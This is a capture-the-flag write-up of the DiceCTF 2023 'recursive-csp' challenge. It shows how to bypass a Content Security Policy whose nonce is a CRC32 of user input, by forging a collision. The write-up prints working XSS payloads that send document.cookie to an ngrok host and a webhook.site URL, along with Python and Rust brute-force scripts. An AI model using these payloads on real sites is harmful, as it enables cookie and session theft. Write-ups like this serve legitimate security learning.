Tags: xss csp-bypass 

Rating:

# recursive-csp

## Overview

- Overall difficulty for me (From 1-10 stars): ★★★★★★★★★☆

- 178 solves / 115 points

## Background

- Author: strellic

the nonce isn't random, so how hard could this be?

(the flag is in the admin bot's cookie)

[recursive-csp.mc.ax](https://recursive-csp.mc.ax)

[Admin Bot](https://adminbot.mc.ax/web-recursive-csp)

## Find the flag

In this challenge, there are 2 websites.

**`recursive-csp.mc.ax`:**

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204121527.png)

**View source page:**
```html

<html>
<head>
<title>recursive-csp</title>
</head>
<body>
<h1>Hello, world!</h1>
<h3>Enter your name:</h3>
<form method="GET">
<input type="text" placeholder="name" name="name" />
<input type="submit" />
</form>

</body>
</html>
```

In here, we see there is a HTML comment.

The `?source` is the GET parameter.

**Let's try to provide that:**

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204121632.png)

As you can see, we found the PHP source page.

**Source code:**
```php

<html>
<head>
<title>recursive-csp</title>
</head>
<body>
<h1>Hello, !</h1>
<h3>Enter your name:</h3>
<form method="GET">
<input type="text" placeholder="name" name="name" />
<input type="submit" />
</form>

</body>
</html>
```

Let's break it down!

- If GET parameter `source` is provided, then show the source code of this PHP file and exit the script
- Check GET parameter `name` is provided, and it's data type is string, and the length is less than 128. If no `name` parameter is provided, default one is "world".
- Then, **using hashing algorithm CRC32B to digest (hash) our provided `name` parameter's value**
- After that, add `Content-Security-Policy` (CSP) header to HTTP response header, with value:
- `default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';`
- Finally, echos out our provided `name` parameter's value

**Armed with above information, we can try to provide the `name` GET parameter:**

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204122605.png)

As you can see, our `name`'s value is being **reflected** to the web page.

That being said, we can try to exploit reflected XSS (Cross-Site Scripting)!

**Payload:**
```html
<script>alert(document.domain)</script>
```

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204122849.png)

However, the alert box doesn't appear, as the `Content-Security-Policy`'s `script-src` is set to `none`. That being said, the back-end will disallow from executing JavaScript code.

> **Content Security Policy** ([CSP](https://developer.mozilla.org/en-US/docs/Glossary/CSP)) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross-Site Scripting ([XSS](https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting)) and data injection attacks. These attacks are used for everything from data theft, to site defacement, to malware distribution.

But! ***The `script-src` directive is set to a `nonce` value.***

Also, ***the `script-src` directive also set to `unsafe-inline`, which enables us to execute any inline JavaScript code!***

Hmm... How can we abuse the `nonce` value...

In [Content Security Policy (CSP) Quick Reference Guide](https://content-security-policy.com/nonce/), it said:

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204124332.png)

As you can see, the nonce's random value must be cryptographically secure random.

In our case, the nonce's value is hashed by our `name` value via CRC32B algorithm.

After poking around, I found an interesting thing.

**we can use the `<meta>` element to redirect users:**
```html
<meta http-equiv="refresh" content="1;url=https://siunam321.github.io/">
```

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204130948.png)

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204130957.png)

Boom! We can redirect users to any website!

However, that doesn't allow us to steal the admin bot's cookie because of the CORS (Cross-Origin Resource Sharing) policy?

Hmm... What if I **redirect the admin bot to our XSS payload**??

But then it'll be blocked because of the nonce value is incorrect...

**Let's go to the "Admin Bot" page:**

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204144540.png)

In here, we can submit a URL:

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204144705.png)

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204144709.png)

Burp Suite HTTP history:

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204144828.png)

When we clicked the "Submit" button, it'll send a POST request to `/web-recursive-csp`, with parameter `url` and `recaptcha_code`.

Then, it'll redirect us to `/web-recursive-csp` with GET parameter `msg` and `url`.

Maybe we could redirect the admin bot to here, and trigger an XSS payload??

But no dice.

**If you look at the source code:**
```php
strlen($_GET["name"]) < 128
```

It checks the string length is less than 128 characters or not. Why it's doing that?

According to [HackTricks](https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass#php-response-buffer-overload), if the response is overflowed (default 4096 bytes), it'll show a warning:

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230204152642.png)

So, maybe the checks is preventing that?

Also, I realized that there is a thing called "Hash collision". For example, MD5 hash collision attack, where 2 MD5 hashes are the same, thus collided.

Since **CRC32B algorithm only outputs a 32-bit unsigned value**, we can very easily to brute force it.

**Let's write a simple Python script to brute force it!**
```py
#!/usr/bin/env python3

from zlib import crc32
from itertools import combinations_with_replacement

characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}"
counter = 1

# Hash and loop through aa, ab, ac, ...
while True:
for character in combinations_with_replacement(characters, counter):
crc32BeforeHashInput = "".join(character).encode('utf-8')
crc32BeforeHashed = hex(crc32(crc32BeforeHashInput))[2:]

crc32HashNonce = f"<script nonce='{crc32BeforeHashed}'>alert(document.domain)</script>".encode('utf-8')
crc32HashedNonce = hex(crc32(crc32HashNonce))[2:]

crc32HashPayloadInput = f"<script nonce='{crc32HashedNonce}'>alert(document.domain)</script>".encode('utf-8')
crc32HashedPayload = hex(crc32(crc32HashPayloadInput))[2:]

print(f'[*] Trying nonce: {crc32HashedNonce}, hashed: {crc32HashedPayload}', end='\r')

if crc32HashedPayload == crc32HashedNonce:
print('\n[+] Found collided hash!')
print(f'[+] Before hashed 1: {crc32HashNonce.decode()}')
print(f'[+] Before hashed 2: {crc32HashPayloadInput.decode()}')
print(f'[+] After hashed 1: {crc32HashedNonce}')
print(f'[+] After hashed 2: {crc32HashedPayload}')
# exit()
else:
counter += 1
```

**If this script found a collided hash, we could use that nonce value in our XSS payload, as the back-end will also generate the same nonce value!**

However, still no luck????

## After the CTF

After the CTF, I found that there is a [GitHub repository](https://github.com/bediger4000/crc32-file-collision-generator) that generate CRC32 hash collision:

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230206203749.png)

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230206203754.png)

**Let's clone that repository!**
```shell
┌[siunam♥earth]-(/opt)-[2023.02.08|17:37:33(HKT)]
└> sudo git clone https://github.com/bediger4000/crc32-file-collision-generator.git
[sudo] password for siunam:
Cloning into 'crc32-file-collision-generator'...
```

**Then, we can create a `target.txt` for generating the nonce value, and `payload.txt` for the XSS payload:**
```shell
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:38:00(HKT)]
└> echo -n '0' > target.txt
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:41:58(HKT)]
└> /opt/crc32-file-collision-generator/crc32 target.txt
target.txt, read 1 bytes
CRC32: f4dbdf21
```

> Note: The `-n` flag must be used to remove the new line character (`\n`) in the end.

```shell
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:42:17(HKT)]
└> echo -n '<script nonce="f4dbdf21">alert(document.domain)</script>' > payload.txt
```

> Note: For testing purposes, we can first use `alert()` JavaScript function.

**After that, use `matchfile` to find the collided hash:**
```shell
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:43:01(HKT)]
└> /opt/crc32-file-collision-generator/matchfile target.txt payload.txt
File to match has length 1, CRC32 value f4dbdf21
File to get to match has length 56, CRC32 value 2d0aaf44
Bytes to match: 41db763a
3a 76 db 41
:v�A
```

Next, URL encode the XSS payload **and the collided bytes**:

```py
#!/usr/bin/env python3

import urllib.parse

def main():
url = 'https://recursive-csp.mc.ax/?name='
XSSpayload = ''.join(open('payload.txt', 'r'))
matchedBytes = '%c3%71%37%2f'

print(f'URL encoded Payload:\n{url}{urllib.parse.quote(XSSpayload)}{matchedBytes}')

if __name__ == '__main__':
main()
```

```shell
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:51:09(HKT)]
└> python3 url_encode_payload.py
URL encoded Payload:
https://recursive-csp.mc.ax/?name=%3Cscript%20nonce%3D%22f4dbdf21%22%3Ealert%28document.domain%29%3C/script%3E%3a%76%db%41
```

**Finally, copy and paste that URL encoded payload:**

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230208175246.png)

Boom!! We successfully triggered an alert box, as the nonce value is matched!!

**Now, to retrieve admin bot's cookie, we can modify the XSS payload.**

But first, we need to:

**Setup Ngrok HTTP port forwarding and Python Simple HTTP server:** (Or you can just use [Webhook.site](https://webhook.site/))
```shell
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:59:20(HKT)]
└> ngrok http 8000
[...]
Web Interface http://127.0.0.1:4040
Forwarding https://2330-{Redacted}.ap.ngrok.io -> http://localhost:8000
[...]
```

```shell
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:59:57(HKT)]
└> python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

**Then we can modify the XSS payload:**
```shell
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:01:03(HKT)]
└> echo -n '<script nonce="f4dbdf21">document.location="https://2330-{Redacted}.ap.ngrok.io?"+document.cookie</script>' > payload.txt
```

> Note: The XSS payload must less than 128 characters, as the web application will check that.

**Again, find the collided bytes:**
```shell
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:02:33(HKT)]
└> /opt/crc32-file-collision-generator/matchfile target.txt payload.txt
File to match has length 1, CRC32 value f4dbdf21
File to get to match has length 110, CRC32 value 43e6a8bd
Bytes to match: 2f3771c3
c3 71 37 2f
�q7/
```

**URL encode it:**
```py
matchedBytes = '%c3%71%37%2f'
```

```shell
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:02:57(HKT)]
└> python3 url_encode_payload.py
URL encoded Payload:
https://recursive-csp.mc.ax/?name=%3Cscript%20nonce%3D%22f4dbdf21%22%3Edocument.location%3D%22https%3A//2330-{Redacted}.ap.ngrok.io%3F%22%2Bdocument.cookie%3C/script%3E%c3%71%37%2f
```

**Finally, send the above URL to [admin bot](https://adminbot.mc.ax/web-recursive-csp):**

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/DiceCTF-2023/images/Pasted%20image%2020230208180401.png)

**Verify it worked:**
```shell
Web Interface http://127.0.0.1:4040
Forwarding https://2330-{Redacted}.ap.ngrok.io -> http://localhost:8000

Connections ttl opn rt1 rt5 p50 p90
1 0 0.01 0.00 0.00 0.00

HTTP Requests
-------------

GET / 200 OK
```

```shell
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:59:57(HKT)]
└> python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [08/Feb/2023 18:03:49] "GET /?flag=dice{h0pe_that_d1dnt_take_too_l0ng} HTTP/1.1" 200 -
```

Nice! We successfully retrieved admin bot's cookie!!

- **Flag: `dice{h0pe_that_d1dnt_take_too_l0ng}`**

**Alternatively, I modified the brute force script:**
```py
#!/usr/bin/env python3

from zlib import crc32

def main():
for i in range(0x0, 0xffffffff + 1):
nonceValue = crc32(bytes(i))

payload = f'<script nonce="{nonceValue}">document.location="https://webhook.site/9e750b29-46f0-4629-a07c-adeb8a7ed641/?c="+document.cookie</script>'.encode('utf-8')
hashedPayload = crc32(bytes(payload))

print(f'[*] Trying nonce {nonceValue}, hashed payload {hashedPayload}', end='\r')

if hashedPayload == nonceValue:
print('[+] Found collided hash!')
print(f'[+] Nonce value: {nonceValue}')
print(f'[+] Hashed value: {hashedPayload}')
print(f'[+] Before hashed payload: {payload.decode()}')
exit()

if __name__ == '__main__':
main()
```

This script will loop through hex `0x0` to hex `0xffffffff`, which is from 0 to 4294967295. The reason why we loop through that, is because CRC32 is 32-bit long, or 8 hex characters long. Therefore, we can loop through hex `0x0` to hex `0xffffffff`, to get the hash collision value:

```shell
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:06:13(HKT)]
└> python3 brute_force_crc32b.py
[...]
```

However, using Python to do that would take a very, very long time.

To address this issue, we can use **Rust**.

> Rust is blazingly fast and memory-efficient: with no runtime or garbage collector, it can power performance-critical services, run on embedded devices, and easily integrate with other languages.

- Initialise a new Rust repository:

```shell
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:24:12(HKT)]
└> cargo init
Created binary (application) package
```

- Modfiy the `src/main.rs`: (The following Rust script is from this challenge's author: strellic, I strongly recommend you to read his [writeup](https://brycec.me/posts/dicectf_2023_challenges#recursive-csp)! Kudos to strellic!)

```rust
use rayon::prelude::*;

fn main() {
let payload = "<script nonce='f4dbdf21'>document.location='https://6466-{Redacted}.ap.ngrok.io?'+document.cookie</script>".to_string();
let start = payload.find("Z").unwrap();
(0..=0xFFFFFFFFu32).into_par_iter().for_each(|i| {
let mut p = payload.clone();
p.replace_range(start..start+8, &format!("{:08x}", i));
if crc32fast::hash(p.as_bytes()) == i {
println!("{} {i} {:08x}", p, i);
}
});
}
```

> Note: Replace your call back link to yours. Also, the nonce can be remain unchanged.

> It creates a range from 0 to 2^32, then uses Rayon to parallelize it. Then, it places the iterator value into the nonce, and checks that the output of `crc32fast::hash` is itself the iterator value. (Once again, from this challenge author's [writeup](https://brycec.me/posts/dicectf_2023_challenges#recursive-csp)).

Then compile it, and run the compiled executable.

After you found the collided hash, you can repeat the same step in the first solution.

# Conclusion

What we've learned:

1. XSS (Cross-Site Scripting) & CSP (Content Security Policy) Bypass Via Insecure Nonce Value

Original writeup (https://siunam321.github.io/ctf/DiceCTF-2023/Web/recursive-csp/).